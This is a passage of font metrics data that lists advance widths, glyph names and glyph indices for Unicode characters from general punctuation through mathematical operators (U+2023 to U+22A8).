U 8227 ; WX 639 ; N uni2023 ; G 2822
U 8228 ; WX 333 ; N onedotenleader ; G 2823
U 8229 ; WX 667 ; N twodotenleader ; G 2824
U 8230 ; WX 1000 ; N ellipsis ; G 2825
U 8231 ; WX 348 ; N uni2027 ; G 2826
U 8232 ; WX 0 ; N uni2028 ; G 2827
U 8233 ; WX 0 ; N uni2029 ; G 2828
U 8234 ; WX 0 ; N uni202A ; G 2829
U 8235 ; WX 0 ; N uni202B ; G 2830
U 8236 ; WX 0 ; N uni202C ; G 2831
U 8237 ; WX 0 ; N uni202D ; G 2832
U 8238 ; WX 0 ; N uni202E ; G 2833
U 8239 ; WX 200 ; N uni202F ; G 2834
U 8240 ; WX 1440 ; N perthousand ; G 2835
U 8241 ; WX 1887 ; N uni2031 ; G 2836
U 8242 ; WX 264 ; N minute ; G 2837
U 8243 ; WX 447 ; N second ; G 2838
U 8244 ; WX 630 ; N uni2034 ; G 2839
U 8245 ; WX 264 ; N uni2035 ; G 2840
U 8246 ; WX 447 ; N uni2036 ; G 2841
U 8247 ; WX 630 ; N uni2037 ; G 2842
U 8248 ; WX 733 ; N uni2038 ; G 2843
U 8249 ; WX 412 ; N guilsinglleft ; G 2844
U 8250 ; WX 412 ; N guilsinglright ; G 2845
U 8251 ; WX 972 ; N uni203B ; G 2846
U 8252 ; WX 627 ; N exclamdbl ; G 2847
U 8253 ; WX 580 ; N uni203D ; G 2848
U 8254 ; WX 500 ; N uni203E ; G 2849
U 8255 ; WX 828 ; N uni203F ; G 2850
U 8256 ; WX 828 ; N uni2040 ; G 2851
U 8257 ; WX 329 ; N uni2041 ; G 2852
U 8258 ; WX 1023 ; N uni2042 ; G 2853
U 8259 ; WX 500 ; N uni2043 ; G 2854
U 8260 ; WX 167 ; N fraction ; G 2855
U 8261 ; WX 457 ; N uni2045 ; G 2856
U 8262 ; WX 457 ; N uni2046 ; G 2857
U 8263 ; WX 1030 ; N uni2047 ; G 2858
U 8264 ; WX 829 ; N uni2048 ; G 2859
U 8265 ; WX 829 ; N uni2049 ; G 2860
U 8266 ; WX 513 ; N uni204A ; G 2861
U 8267 ; WX 636 ; N uni204B ; G 2862
U 8268 ; WX 500 ; N uni204C ; G 2863
U 8269 ; WX 500 ; N uni204D ; G 2864
U 8270 ; WX 523 ; N uni204E ; G 2865
U 8271 ; WX 400 ; N uni204F ; G 2866
U 8272 ; WX 828 ; N uni2050 ; G 2867
U 8273 ; WX 523 ; N uni2051 ; G 2868
U 8274 ; WX 556 ; N uni2052 ; G 2869
U 8275 ; WX 1000 ; N uni2053 ; G 2870
U 8276 ; WX 828 ; N uni2054 ; G 2871
U 8277 ; WX 838 ; N uni2055 ; G 2872
U 8278 ; WX 684 ; N uni2056 ; G 2873
U 8279 ; WX 813 ; N uni2057 ; G 2874
U 8280 ; WX 838 ; N uni2058 ; G 2875
U 8281 ; WX 838 ; N uni2059 ; G 2876
U 8282 ; WX 380 ; N uni205A ; G 2877
U 8283 ; WX 872 ; N uni205B ; G 2878
U 8284 ; WX 838 ; N uni205C ; G 2879
U 8285 ; WX 380 ; N uni205D ; G 2880
U 8286 ; WX 380 ; N uni205E ; G 2881
U 8287 ; WX 222 ; N uni205F ; G 2882
U 8288 ; WX 0 ; N uni2060 ; G 2883
U 8289 ; WX 0 ; N uni2061 ; G 2884
U 8290 ; WX 0 ; N uni2062 ; G 2885
U 8291 ; WX 0 ; N uni2063 ; G 2886
U 8292 ; WX 0 ; N uni2064 ; G 2887
U 8298 ; WX 0 ; N uni206A ; G 2888
U 8299 ; WX 0 ; N uni206B ; G 2889
U 8300 ; WX 0 ; N uni206C ; G 2890
U 8301 ; WX 0 ; N uni206D ; G 2891
U 8302 ; WX 0 ; N uni206E ; G 2892
U 8303 ; WX 0 ; N uni206F ; G 2893
U 8304 ; WX 438 ; N uni2070 ; G 2894
U 8305 ; WX 219 ; N uni2071 ; G 2895
U 8308 ; WX 438 ; N uni2074 ; G 2896
U 8309 ; WX 438 ; N uni2075 ; G 2897
U 8310 ; WX 438 ; N uni2076 ; G 2898
U 8311 ; WX 438 ; N uni2077 ; G 2899
U 8312 ; WX 438 ; N uni2078 ; G 2900
U 8313 ; WX 438 ; N uni2079 ; G 2901
U 8314 ; WX 528 ; N uni207A ; G 2902
U 8315 ; WX 528 ; N uni207B ; G 2903
U 8316 ; WX 528 ; N uni207C ; G 2904
U 8317 ; WX 288 ; N uni207D ; G 2905
U 8318 ; WX 288 ; N uni207E ; G 2906
U 8319 ; WX 456 ; N uni207F ; G 2907
U 8320 ; WX 438 ; N uni2080 ; G 2908
U 8321 ; WX 438 ; N uni2081 ; G 2909
U 8322 ; WX 438 ; N uni2082 ; G 2910
U 8323 ; WX 438 ; N uni2083 ; G 2911
U 8324 ; WX 438 ; N uni2084 ; G 2912
U 8325 ; WX 438 ; N uni2085 ; G 2913
U 8326 ; WX 438 ; N uni2086 ; G 2914
U 8327 ; WX 438 ; N uni2087 ; G 2915
U 8328 ; WX 438 ; N uni2088 ; G 2916
U 8329 ; WX 438 ; N uni2089 ; G 2917
U 8330 ; WX 528 ; N uni208A ; G 2918
U 8331 ; WX 528 ; N uni208B ; G 2919
U 8332 ; WX 528 ; N uni208C ; G 2920
U 8333 ; WX 288 ; N uni208D ; G 2921
U 8334 ; WX 288 ; N uni208E ; G 2922
U 8336 ; WX 458 ; N uni2090 ; G 2923
U 8337 ; WX 479 ; N uni2091 ; G 2924
U 8338 ; WX 488 ; N uni2092 ; G 2925
U 8339 ; WX 413 ; N uni2093 ; G 2926
U 8340 ; WX 479 ; N uni2094 ; G 2927
U 8341 ; WX 456 ; N uni2095 ; G 2928
U 8342 ; WX 487 ; N uni2096 ; G 2929
U 8343 ; WX 219 ; N uni2097 ; G 2930
U 8344 ; WX 664 ; N uni2098 ; G 2931
U 8345 ; WX 456 ; N uni2099 ; G 2932
U 8346 ; WX 479 ; N uni209A ; G 2933
U 8347 ; WX 381 ; N uni209B ; G 2934
U 8348 ; WX 388 ; N uni209C ; G 2935
U 8352 ; WX 929 ; N uni20A0 ; G 2936
U 8353 ; WX 696 ; N colonmonetary ; G 2937
U 8354 ; WX 696 ; N uni20A2 ; G 2938
U 8355 ; WX 696 ; N franc ; G 2939
U 8356 ; WX 696 ; N lira ; G 2940
U 8357 ; WX 1042 ; N uni20A5 ; G 2941
U 8358 ; WX 696 ; N uni20A6 ; G 2942
U 8359 ; WX 1518 ; N peseta ; G 2943
U 8360 ; WX 1205 ; N uni20A8 ; G 2944
U 8361 ; WX 1103 ; N uni20A9 ; G 2945
U 8362 ; WX 904 ; N uni20AA ; G 2946
U 8363 ; WX 696 ; N dong ; G 2947
U 8364 ; WX 696 ; N Euro ; G 2948
U 8365 ; WX 696 ; N uni20AD ; G 2949
U 8366 ; WX 696 ; N uni20AE ; G 2950
U 8367 ; WX 1392 ; N uni20AF ; G 2951
U 8368 ; WX 696 ; N uni20B0 ; G 2952
U 8369 ; WX 696 ; N uni20B1 ; G 2953
U 8370 ; WX 696 ; N uni20B2 ; G 2954
U 8371 ; WX 696 ; N uni20B3 ; G 2955
U 8372 ; WX 859 ; N uni20B4 ; G 2956
U 8373 ; WX 696 ; N uni20B5 ; G 2957
U 8376 ; WX 696 ; N uni20B8 ; G 2958
U 8377 ; WX 696 ; N uni20B9 ; G 2959
U 8378 ; WX 696 ; N uni20BA ; G 2960
U 8381 ; WX 696 ; N uni20BD ; G 2961
U 8400 ; WX 0 ; N uni20D0 ; G 2962
U 8401 ; WX 0 ; N uni20D1 ; G 2963
U 8406 ; WX 0 ; N uni20D6 ; G 2964
U 8407 ; WX 0 ; N uni20D7 ; G 2965
U 8411 ; WX 0 ; N uni20DB ; G 2966
U 8412 ; WX 0 ; N uni20DC ; G 2967
U 8417 ; WX 0 ; N uni20E1 ; G 2968
U 8448 ; WX 1120 ; N uni2100 ; G 2969
U 8449 ; WX 1170 ; N uni2101 ; G 2970
U 8450 ; WX 734 ; N uni2102 ; G 2971
U 8451 ; WX 1211 ; N uni2103 ; G 2972
U 8452 ; WX 896 ; N uni2104 ; G 2973
U 8453 ; WX 1091 ; N uni2105 ; G 2974
U 8454 ; WX 1144 ; N uni2106 ; G 2975
U 8455 ; WX 614 ; N uni2107 ; G 2976
U 8456 ; WX 698 ; N uni2108 ; G 2977
U 8457 ; WX 1086 ; N uni2109 ; G 2978
U 8459 ; WX 1073 ; N uni210B ; G 2979
U 8460 ; WX 913 ; N uni210C ; G 2980
U 8461 ; WX 888 ; N uni210D ; G 2981
U 8462 ; WX 712 ; N uni210E ; G 2982
U 8463 ; WX 712 ; N uni210F ; G 2983
U 8464 ; WX 597 ; N uni2110 ; G 2984
U 8465 ; WX 697 ; N Ifraktur ; G 2985
U 8466 ; WX 856 ; N uni2112 ; G 2986
U 8467 ; WX 472 ; N uni2113 ; G 2987
U 8468 ; WX 974 ; N uni2114 ; G 2988
U 8469 ; WX 837 ; N uni2115 ; G 2989
U 8470 ; WX 1203 ; N uni2116 ; G 2990
U 8471 ; WX 1000 ; N uni2117 ; G 2991
U 8472 ; WX 697 ; N weierstrass ; G 2992
U 8473 ; WX 750 ; N uni2119 ; G 2993
U 8474 ; WX 850 ; N uni211A ; G 2994
U 8475 ; WX 938 ; N uni211B ; G 2995
U 8476 ; WX 814 ; N Rfraktur ; G 2996
U 8477 ; WX 801 ; N uni211D ; G 2997
U 8478 ; WX 896 ; N prescription ; G 2998
U 8479 ; WX 710 ; N uni211F ; G 2999
U 8480 ; WX 1020 ; N uni2120 ; G 3000
U 8481 ; WX 1281 ; N uni2121 ; G 3001
U 8482 ; WX 1000 ; N trademark ; G 3002
U 8483 ; WX 755 ; N uni2123 ; G 3003
U 8484 ; WX 754 ; N uni2124 ; G 3004
U 8485 ; WX 578 ; N uni2125 ; G 3005
U 8486 ; WX 850 ; N uni2126 ; G 3006
U 8487 ; WX 850 ; N uni2127 ; G 3007
U 8488 ; WX 763 ; N uni2128 ; G 3008
U 8489 ; WX 338 ; N uni2129 ; G 3009
U 8490 ; WX 775 ; N uni212A ; G 3010
U 8491 ; WX 774 ; N uni212B ; G 3011
U 8492 ; WX 928 ; N uni212C ; G 3012
U 8493 ; WX 818 ; N uni212D ; G 3013
U 8494 ; WX 854 ; N estimated ; G 3014
U 8495 ; WX 636 ; N uni212F ; G 3015
U 8496 ; WX 729 ; N uni2130 ; G 3016
U 8497 ; WX 808 ; N uni2131 ; G 3017
U 8498 ; WX 683 ; N uni2132 ; G 3018
U 8499 ; WX 1184 ; N uni2133 ; G 3019
U 8500 ; WX 465 ; N uni2134 ; G 3020
U 8501 ; WX 794 ; N aleph ; G 3021
U 8502 ; WX 731 ; N uni2136 ; G 3022
U 8503 ; WX 494 ; N uni2137 ; G 3023
U 8504 ; WX 684 ; N uni2138 ; G 3024
U 8505 ; WX 380 ; N uni2139 ; G 3025
U 8506 ; WX 945 ; N uni213A ; G 3026
U 8507 ; WX 1348 ; N uni213B ; G 3027
U 8508 ; WX 790 ; N uni213C ; G 3028
U 8509 ; WX 737 ; N uni213D ; G 3029
U 8510 ; WX 654 ; N uni213E ; G 3030
U 8511 ; WX 863 ; N uni213F ; G 3031
U 8512 ; WX 840 ; N uni2140 ; G 3032
U 8513 ; WX 775 ; N uni2141 ; G 3033
U 8514 ; WX 557 ; N uni2142 ; G 3034
U 8515 ; WX 637 ; N uni2143 ; G 3035
U 8516 ; WX 760 ; N uni2144 ; G 3036
U 8517 ; WX 830 ; N uni2145 ; G 3037
U 8518 ; WX 716 ; N uni2146 ; G 3038
U 8519 ; WX 678 ; N uni2147 ; G 3039
U 8520 ; WX 343 ; N uni2148 ; G 3040
U 8521 ; WX 343 ; N uni2149 ; G 3041
U 8523 ; WX 872 ; N uni214B ; G 3042
U 8526 ; WX 547 ; N uni214E ; G 3043
U 8528 ; WX 1035 ; N uni2150 ; G 3044
U 8529 ; WX 1035 ; N uni2151 ; G 3045
U 8530 ; WX 1483 ; N uni2152 ; G 3046
U 8531 ; WX 1035 ; N onethird ; G 3047
U 8532 ; WX 1035 ; N twothirds ; G 3048
U 8533 ; WX 1035 ; N uni2155 ; G 3049
U 8534 ; WX 1035 ; N uni2156 ; G 3050
U 8535 ; WX 1035 ; N uni2157 ; G 3051
U 8536 ; WX 1035 ; N uni2158 ; G 3052
U 8537 ; WX 1035 ; N uni2159 ; G 3053
U 8538 ; WX 1035 ; N uni215A ; G 3054
U 8539 ; WX 1035 ; N oneeighth ; G 3055
U 8540 ; WX 1035 ; N threeeighths ; G 3056
U 8541 ; WX 1035 ; N fiveeighths ; G 3057
U 8542 ; WX 1035 ; N seveneighths ; G 3058
U 8543 ; WX 615 ; N uni215F ; G 3059
U 8544 ; WX 372 ; N uni2160 ; G 3060
U 8545 ; WX 659 ; N uni2161 ; G 3061
U 8546 ; WX 945 ; N uni2162 ; G 3062
U 8547 ; WX 1099 ; N uni2163 ; G 3063
U 8548 ; WX 774 ; N uni2164 ; G 3064
U 8549 ; WX 1099 ; N uni2165 ; G 3065
U 8550 ; WX 1386 ; N uni2166 ; G 3066
U 8551 ; WX 1672 ; N uni2167 ; G 3067
U 8552 ; WX 1121 ; N uni2168 ; G 3068
U 8553 ; WX 771 ; N uni2169 ; G 3069
U 8554 ; WX 1120 ; N uni216A ; G 3070
U 8555 ; WX 1407 ; N uni216B ; G 3071
U 8556 ; WX 637 ; N uni216C ; G 3072
U 8557 ; WX 734 ; N uni216D ; G 3073
U 8558 ; WX 830 ; N uni216E ; G 3074
U 8559 ; WX 995 ; N uni216F ; G 3075
U 8560 ; WX 343 ; N uni2170 ; G 3076
U 8561 ; WX 607 ; N uni2171 ; G 3077
U 8562 ; WX 872 ; N uni2172 ; G 3078
U 8563 ; WX 984 ; N uni2173 ; G 3079
U 8564 ; WX 652 ; N uni2174 ; G 3080
U 8565 ; WX 962 ; N uni2175 ; G 3081
U 8566 ; WX 1227 ; N uni2176 ; G 3082
U 8567 ; WX 1491 ; N uni2177 ; G 3083
U 8568 ; WX 969 ; N uni2178 ; G 3084
U 8569 ; WX 645 ; N uni2179 ; G 3085
U 8570 ; WX 969 ; N uni217A ; G 3086
U 8571 ; WX 1233 ; N uni217B ; G 3087
U 8572 ; WX 343 ; N uni217C ; G 3088
U 8573 ; WX 593 ; N uni217D ; G 3089
U 8574 ; WX 716 ; N uni217E ; G 3090
U 8575 ; WX 1042 ; N uni217F ; G 3091
U 8576 ; WX 1289 ; N uni2180 ; G 3092
U 8577 ; WX 830 ; N uni2181 ; G 3093
U 8578 ; WX 1289 ; N uni2182 ; G 3094
U 8579 ; WX 734 ; N uni2183 ; G 3095
U 8580 ; WX 593 ; N uni2184 ; G 3096
U 8581 ; WX 734 ; N uni2185 ; G 3097
U 8585 ; WX 1035 ; N uni2189 ; G 3098
U 8592 ; WX 838 ; N arrowleft ; G 3099
U 8593 ; WX 838 ; N arrowup ; G 3100
U 8594 ; WX 838 ; N arrowright ; G 3101
U 8595 ; WX 838 ; N arrowdown ; G 3102
U 8596 ; WX 838 ; N arrowboth ; G 3103
U 8597 ; WX 838 ; N arrowupdn ; G 3104
U 8598 ; WX 838 ; N uni2196 ; G 3105
U 8599 ; WX 838 ; N uni2197 ; G 3106
U 8600 ; WX 838 ; N uni2198 ; G 3107
U 8601 ; WX 838 ; N uni2199 ; G 3108
U 8602 ; WX 838 ; N uni219A ; G 3109
U 8603 ; WX 838 ; N uni219B ; G 3110
U 8604 ; WX 838 ; N uni219C ; G 3111
U 8605 ; WX 838 ; N uni219D ; G 3112
U 8606 ; WX 838 ; N uni219E ; G 3113
U 8607 ; WX 838 ; N uni219F ; G 3114
U 8608 ; WX 838 ; N uni21A0 ; G 3115
U 8609 ; WX 838 ; N uni21A1 ; G 3116
U 8610 ; WX 838 ; N uni21A2 ; G 3117
U 8611 ; WX 838 ; N uni21A3 ; G 3118
U 8612 ; WX 838 ; N uni21A4 ; G 3119
U 8613 ; WX 838 ; N uni21A5 ; G 3120
U 8614 ; WX 838 ; N uni21A6 ; G 3121
U 8615 ; WX 838 ; N uni21A7 ; G 3122
U 8616 ; WX 838 ; N arrowupdnbse ; G 3123
U 8617 ; WX 838 ; N uni21A9 ; G 3124
U 8618 ; WX 838 ; N uni21AA ; G 3125
U 8619 ; WX 838 ; N uni21AB ; G 3126
U 8620 ; WX 838 ; N uni21AC ; G 3127
U 8621 ; WX 838 ; N uni21AD ; G 3128
U 8622 ; WX 838 ; N uni21AE ; G 3129
U 8623 ; WX 838 ; N uni21AF ; G 3130
U 8624 ; WX 838 ; N uni21B0 ; G 3131
U 8625 ; WX 838 ; N uni21B1 ; G 3132
U 8626 ; WX 838 ; N uni21B2 ; G 3133
U 8627 ; WX 838 ; N uni21B3 ; G 3134
U 8628 ; WX 838 ; N uni21B4 ; G 3135
U 8629 ; WX 838 ; N carriagereturn ; G 3136
U 8630 ; WX 838 ; N uni21B6 ; G 3137
U 8631 ; WX 838 ; N uni21B7 ; G 3138
U 8632 ; WX 838 ; N uni21B8 ; G 3139
U 8633 ; WX 838 ; N uni21B9 ; G 3140
U 8634 ; WX 838 ; N uni21BA ; G 3141
U 8635 ; WX 838 ; N uni21BB ; G 3142
U 8636 ; WX 838 ; N uni21BC ; G 3143
U 8637 ; WX 838 ; N uni21BD ; G 3144
U 8638 ; WX 838 ; N uni21BE ; G 3145
U 8639 ; WX 838 ; N uni21BF ; G 3146
U 8640 ; WX 838 ; N uni21C0 ; G 3147
U 8641 ; WX 838 ; N uni21C1 ; G 3148
U 8642 ; WX 838 ; N uni21C2 ; G 3149
U 8643 ; WX 838 ; N uni21C3 ; G 3150
U 8644 ; WX 838 ; N uni21C4 ; G 3151
U 8645 ; WX 838 ; N uni21C5 ; G 3152
U 8646 ; WX 838 ; N uni21C6 ; G 3153
U 8647 ; WX 838 ; N uni21C7 ; G 3154
U 8648 ; WX 838 ; N uni21C8 ; G 3155
U 8649 ; WX 838 ; N uni21C9 ; G 3156
U 8650 ; WX 838 ; N uni21CA ; G 3157
U 8651 ; WX 838 ; N uni21CB ; G 3158
U 8652 ; WX 838 ; N uni21CC ; G 3159
U 8653 ; WX 838 ; N uni21CD ; G 3160
U 8654 ; WX 838 ; N uni21CE ; G 3161
U 8655 ; WX 838 ; N uni21CF ; G 3162
U 8656 ; WX 838 ; N arrowdblleft ; G 3163
U 8657 ; WX 838 ; N arrowdblup ; G 3164
U 8658 ; WX 838 ; N arrowdblright ; G 3165
U 8659 ; WX 838 ; N arrowdbldown ; G 3166
U 8660 ; WX 838 ; N arrowdblboth ; G 3167
U 8661 ; WX 838 ; N uni21D5 ; G 3168
U 8662 ; WX 838 ; N uni21D6 ; G 3169
U 8663 ; WX 838 ; N uni21D7 ; G 3170
U 8664 ; WX 838 ; N uni21D8 ; G 3171
U 8665 ; WX 838 ; N uni21D9 ; G 3172
U 8666 ; WX 838 ; N uni21DA ; G 3173
U 8667 ; WX 838 ; N uni21DB ; G 3174
U 8668 ; WX 838 ; N uni21DC ; G 3175
U 8669 ; WX 838 ; N uni21DD ; G 3176
U 8670 ; WX 838 ; N uni21DE ; G 3177
U 8671 ; WX 838 ; N uni21DF ; G 3178
U 8672 ; WX 838 ; N uni21E0 ; G 3179
U 8673 ; WX 838 ; N uni21E1 ; G 3180
U 8674 ; WX 838 ; N uni21E2 ; G 3181
U 8675 ; WX 838 ; N uni21E3 ; G 3182
U 8676 ; WX 838 ; N uni21E4 ; G 3183
U 8677 ; WX 838 ; N uni21E5 ; G 3184
U 8678 ; WX 838 ; N uni21E6 ; G 3185
U 8679 ; WX 838 ; N uni21E7 ; G 3186
U 8680 ; WX 838 ; N uni21E8 ; G 3187
U 8681 ; WX 838 ; N uni21E9 ; G 3188
U 8682 ; WX 838 ; N uni21EA ; G 3189
U 8683 ; WX 838 ; N uni21EB ; G 3190
U 8684 ; WX 838 ; N uni21EC ; G 3191
U 8685 ; WX 838 ; N uni21ED ; G 3192
U 8686 ; WX 838 ; N uni21EE ; G 3193
U 8687 ; WX 838 ; N uni21EF ; G 3194
U 8688 ; WX 838 ; N uni21F0 ; G 3195
U 8689 ; WX 838 ; N uni21F1 ; G 3196
U 8690 ; WX 838 ; N uni21F2 ; G 3197
U 8691 ; WX 838 ; N uni21F3 ; G 3198
U 8692 ; WX 838 ; N uni21F4 ; G 3199
U 8693 ; WX 838 ; N uni21F5 ; G 3200
U 8694 ; WX 838 ; N uni21F6 ; G 3201
U 8695 ; WX 838 ; N uni21F7 ; G 3202
U 8696 ; WX 838 ; N uni21F8 ; G 3203
U 8697 ; WX 838 ; N uni21F9 ; G 3204
U 8698 ; WX 838 ; N uni21FA ; G 3205
U 8699 ; WX 838 ; N uni21FB ; G 3206
U 8700 ; WX 838 ; N uni21FC ; G 3207
U 8701 ; WX 838 ; N uni21FD ; G 3208
U 8702 ; WX 838 ; N uni21FE ; G 3209
U 8703 ; WX 838 ; N uni21FF ; G 3210
U 8704 ; WX 774 ; N universal ; G 3211
U 8705 ; WX 696 ; N uni2201 ; G 3212
U 8706 ; WX 544 ; N partialdiff ; G 3213
U 8707 ; WX 683 ; N existential ; G 3214
U 8708 ; WX 683 ; N uni2204 ; G 3215
U 8709 ; WX 856 ; N emptyset ; G 3216
U 8710 ; WX 697 ; N increment ; G 3217
U 8711 ; WX 697 ; N gradient ; G 3218
U 8712 ; WX 896 ; N element ; G 3219
U 8713 ; WX 896 ; N notelement ; G 3220
U 8714 ; WX 750 ; N uni220A ; G 3221
U 8715 ; WX 896 ; N suchthat ; G 3222
U 8716 ; WX 896 ; N uni220C ; G 3223
U 8717 ; WX 750 ; N uni220D ; G 3224
U 8718 ; WX 636 ; N uni220E ; G 3225
U 8719 ; WX 787 ; N product ; G 3226
U 8720 ; WX 787 ; N uni2210 ; G 3227
U 8721 ; WX 718 ; N summation ; G 3228
U 8722 ; WX 838 ; N minus ; G 3229
U 8723 ; WX 838 ; N uni2213 ; G 3230
U 8724 ; WX 696 ; N uni2214 ; G 3231
U 8725 ; WX 365 ; N uni2215 ; G 3232
U 8726 ; WX 696 ; N uni2216 ; G 3233
U 8727 ; WX 838 ; N asteriskmath ; G 3234
U 8728 ; WX 626 ; N uni2218 ; G 3235
U 8729 ; WX 380 ; N uni2219 ; G 3236
U 8730 ; WX 667 ; N radical ; G 3237
U 8731 ; WX 667 ; N uni221B ; G 3238
U 8732 ; WX 667 ; N uni221C ; G 3239
U 8733 ; WX 712 ; N proportional ; G 3240
U 8734 ; WX 833 ; N infinity ; G 3241
U 8735 ; WX 838 ; N orthogonal ; G 3242
U 8736 ; WX 896 ; N angle ; G 3243
U 8737 ; WX 896 ; N uni2221 ; G 3244
U 8738 ; WX 838 ; N uni2222 ; G 3245
U 8739 ; WX 500 ; N uni2223 ; G 3246
U 8740 ; WX 500 ; N uni2224 ; G 3247
U 8741 ; WX 500 ; N uni2225 ; G 3248
U 8742 ; WX 500 ; N uni2226 ; G 3249
U 8743 ; WX 812 ; N logicaland ; G 3250
U 8744 ; WX 812 ; N logicalor ; G 3251
U 8745 ; WX 812 ; N intersection ; G 3252
U 8746 ; WX 812 ; N union ; G 3253
U 8747 ; WX 610 ; N integral ; G 3254
U 8748 ; WX 929 ; N uni222C ; G 3255
U 8749 ; WX 1295 ; N uni222D ; G 3256
U 8750 ; WX 563 ; N uni222E ; G 3257
U 8751 ; WX 977 ; N uni222F ; G 3258
U 8752 ; WX 1313 ; N uni2230 ; G 3259
U 8753 ; WX 563 ; N uni2231 ; G 3260
U 8754 ; WX 563 ; N uni2232 ; G 3261
U 8755 ; WX 563 ; N uni2233 ; G 3262
U 8756 ; WX 696 ; N therefore ; G 3263
U 8757 ; WX 696 ; N uni2235 ; G 3264
U 8758 ; WX 294 ; N uni2236 ; G 3265
U 8759 ; WX 696 ; N uni2237 ; G 3266
U 8760 ; WX 838 ; N uni2238 ; G 3267
U 8761 ; WX 838 ; N uni2239 ; G 3268
U 8762 ; WX 838 ; N uni223A ; G 3269
U 8763 ; WX 838 ; N uni223B ; G 3270
U 8764 ; WX 838 ; N similar ; G 3271
U 8765 ; WX 838 ; N uni223D ; G 3272
U 8766 ; WX 838 ; N uni223E ; G 3273
U 8767 ; WX 838 ; N uni223F ; G 3274
U 8768 ; WX 375 ; N uni2240 ; G 3275
U 8769 ; WX 838 ; N uni2241 ; G 3276
U 8770 ; WX 838 ; N uni2242 ; G 3277
U 8771 ; WX 838 ; N uni2243 ; G 3278
U 8772 ; WX 838 ; N uni2244 ; G 3279
U 8773 ; WX 838 ; N congruent ; G 3280
U 8774 ; WX 838 ; N uni2246 ; G 3281
U 8775 ; WX 838 ; N uni2247 ; G 3282
U 8776 ; WX 838 ; N approxequal ; G 3283
U 8777 ; WX 838 ; N uni2249 ; G 3284
U 8778 ; WX 838 ; N uni224A ; G 3285
U 8779 ; WX 838 ; N uni224B ; G 3286
U 8780 ; WX 838 ; N uni224C ; G 3287
U 8781 ; WX 838 ; N uni224D ; G 3288
U 8782 ; WX 838 ; N uni224E ; G 3289
U 8783 ; WX 838 ; N uni224F ; G 3290
U 8784 ; WX 838 ; N uni2250 ; G 3291
U 8785 ; WX 838 ; N uni2251 ; G 3292
U 8786 ; WX 838 ; N uni2252 ; G 3293
U 8787 ; WX 838 ; N uni2253 ; G 3294
U 8788 ; WX 1063 ; N uni2254 ; G 3295
U 8789 ; WX 1063 ; N uni2255 ; G 3296
U 8790 ; WX 838 ; N uni2256 ; G 3297
U 8791 ; WX 838 ; N uni2257 ; G 3298
U 8792 ; WX 838 ; N uni2258 ; G 3299
U 8793 ; WX 838 ; N uni2259 ; G 3300
U 8794 ; WX 838 ; N uni225A ; G 3301
U 8795 ; WX 838 ; N uni225B ; G 3302
U 8796 ; WX 838 ; N uni225C ; G 3303
U 8797 ; WX 838 ; N uni225D ; G 3304
U 8798 ; WX 838 ; N uni225E ; G 3305
U 8799 ; WX 838 ; N uni225F ; G 3306
U 8800 ; WX 838 ; N notequal ; G 3307
U 8801 ; WX 838 ; N equivalence ; G 3308
U 8802 ; WX 838 ; N uni2262 ; G 3309
U 8803 ; WX 838 ; N uni2263 ; G 3310
U 8804 ; WX 838 ; N lessequal ; G 3311
U 8805 ; WX 838 ; N greaterequal ; G 3312
U 8806 ; WX 838 ; N uni2266 ; G 3313
U 8807 ; WX 838 ; N uni2267 ; G 3314
U 8808 ; WX 841 ; N uni2268 ; G 3315
U 8809 ; WX 841 ; N uni2269 ; G 3316
U 8810 ; WX 1047 ; N uni226A ; G 3317
U 8811 ; WX 1047 ; N uni226B ; G 3318
U 8812 ; WX 500 ; N uni226C ; G 3319
U 8813 ; WX 838 ; N uni226D ; G 3320
U 8814 ; WX 838 ; N uni226E ; G 3321
U 8815 ; WX 838 ; N uni226F ; G 3322
U 8816 ; WX 838 ; N uni2270 ; G 3323
U 8817 ; WX 838 ; N uni2271 ; G 3324
U 8818 ; WX 838 ; N uni2272 ; G 3325
U 8819 ; WX 838 ; N uni2273 ; G 3326
U 8820 ; WX 838 ; N uni2274 ; G 3327
U 8821 ; WX 838 ; N uni2275 ; G 3328
U 8822 ; WX 838 ; N uni2276 ; G 3329
U 8823 ; WX 838 ; N uni2277 ; G 3330
U 8824 ; WX 838 ; N uni2278 ; G 3331
U 8825 ; WX 838 ; N uni2279 ; G 3332
U 8826 ; WX 838 ; N uni227A ; G 3333
U 8827 ; WX 838 ; N uni227B ; G 3334
U 8828 ; WX 838 ; N uni227C ; G 3335
U 8829 ; WX 838 ; N uni227D ; G 3336
U 8830 ; WX 838 ; N uni227E ; G 3337
U 8831 ; WX 838 ; N uni227F ; G 3338
U 8832 ; WX 838 ; N uni2280 ; G 3339
U 8833 ; WX 838 ; N uni2281 ; G 3340
U 8834 ; WX 838 ; N propersubset ; G 3341
U 8835 ; WX 838 ; N propersuperset ; G 3342
U 8836 ; WX 838 ; N notsubset ; G 3343
U 8837 ; WX 838 ; N uni2285 ; G 3344
U 8838 ; WX 838 ; N reflexsubset ; G 3345
U 8839 ; WX 838 ; N reflexsuperset ; G 3346
U 8840 ; WX 838 ; N uni2288 ; G 3347
U 8841 ; WX 838 ; N uni2289 ; G 3348
U 8842 ; WX 838 ; N uni228A ; G 3349
U 8843 ; WX 838 ; N uni228B ; G 3350
U 8844 ; WX 812 ; N uni228C ; G 3351
U 8845 ; WX 812 ; N uni228D ; G 3352
U 8846 ; WX 812 ; N uni228E ; G 3353
U 8847 ; WX 838 ; N uni228F ; G 3354
U 8848 ; WX 838 ; N uni2290 ; G 3355
U 8849 ; WX 838 ; N uni2291 ; G 3356
U 8850 ; WX 838 ; N uni2292 ; G 3357
U 8851 ; WX 796 ; N uni2293 ; G 3358
U 8852 ; WX 796 ; N uni2294 ; G 3359
U 8853 ; WX 838 ; N circleplus ; G 3360
U 8854 ; WX 838 ; N uni2296 ; G 3361
U 8855 ; WX 838 ; N circlemultiply ; G 3362
U 8856 ; WX 838 ; N uni2298 ; G 3363
U 8857 ; WX 838 ; N uni2299 ; G 3364
U 8858 ; WX 838 ; N uni229A ; G 3365
U 8859 ; WX 838 ; N uni229B ; G 3366
U 8860 ; WX 838 ; N uni229C ; G 3367
U 8861 ; WX 838 ; N uni229D ; G 3368
U 8862 ; WX 838 ; N uni229E ; G 3369
U 8863 ; WX 838 ; N uni229F ; G 3370
U 8864 ; WX 838 ; N uni22A0 ; G 3371
U 8865 ; WX 838 ; N uni22A1 ; G 3372
U 8866 ; WX 914 ; N uni22A2 ; G 3373
U 8867 ; WX 914 ; N uni22A3 ; G 3374
U 8868 ; WX 914 ; N uni22A4 ; G 3375
U 8869 ; WX 914 ; N perpendicular ; G 3376
U 8870 ; WX 542 ; N uni22A6 ; G 3377
U 8871 ; WX 542 ; N uni22A7 ; G 3378
U 8872 ; WX 914 ; N uni22A8 ; G 3379
